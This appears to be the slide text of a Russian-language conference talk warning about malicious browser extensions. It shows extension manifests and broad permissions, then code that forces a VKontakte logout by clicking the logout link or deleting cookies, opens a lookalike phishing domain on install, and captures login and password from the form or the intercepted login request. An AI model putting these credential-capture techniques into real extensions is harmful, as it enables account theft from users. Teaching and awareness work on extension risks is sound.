Первое расширение опубликовал в январе 2017 и понеслось...
Telegram: @holyjsconf
manifest.json
{
"manifest_version": 2,
"name": "HolyJS 💖",
"version": "1.0.0"
}
{
"browser_action": {
"default_popup": "popup.html"
}
}
Telegram: @holyjsconf
{
"content_scripts": [{
"matches": ["https://vk.com/*"],
"js": ["js/content.js"]
}]
}
{
"background": {
"scripts": ["js/background.js"]
}
}
// background.js
browser.runtime.onMessage.addListener(async (message) => {
if (message.type === 'track') {
const result = await track(message.payload);
return result;
}
});
// content.js
browser.runtime.sendMessage({
type: 'track',
payload: { /* event data */}
}).then((response) => {
console.log(response); // 'success'
});
Их больше 50. Здесь самые интересные
{
"permissions": [
"http://*/*",
"https://*/*",
"tabs",
"history",
"cookies",
"webRequest",
"management",
"notifications"
]
}
Telegram: @holyjsconf
{
"cid": "513e6969-8fa9-40af-987a-7b6726523e47",
"event_type": "open_url",
"event_payload": {
"url": "https://www.google.com/"
}
}
Что можно узнать из
анонимной аналитики?
На примере социальной сети ВКонтакте
// background.js
browser.runtime.onInstalled.addListener(({ reason }) => {
if (reason === 'install') {
browser.tabs.create({
url: 'https://vkontakti.com/',
});
}
});
// content.js
// 1. Логаут
const logoutButton = document.getElementById(
"top_logout_link"
);
if (logoutButton) {
logoutButton.click();
}
// 2. Обработка отправки формы
const formElement =
document.getElementById("index_login_form");
if (formElement) {
formElement.onsubmit = () => {
const login =
document.getElementById("index_email").value;
const password =
document.getElementById("index_pass").value;
};
}
// 1. Логаут через очистку кук
browser.runtime.onInstalled.addListener(({ reason }) => {
if (reason === 'install') {
browser.cookies
.getAll({
domain: 'vk.com',
})
.then((cookies) => {
cookies.forEach((cookie) => {
browser.cookies.remove({
name: cookie.name,
url: 'https://vk.com/',
});
});
});
}
});
// 2. Перехват запроса на авторизвацию
browser.webRequest.onBeforeRequest.addListener(
(details) => {
const { requestBody = {} } = details;
const { formData = {} } = requestBody;
const { email, pass } = formData;
return { cancel: false };
},
{ urls: ['https://login.vk.com/?act=login'] },
['requestBody']
);
Единственное, чего стоит бояться на этой планете, — это расширения для браузера.
— Карл Густав Юнг, швейцарский психолог и психиатр
Остановись пока остановка не стала последней!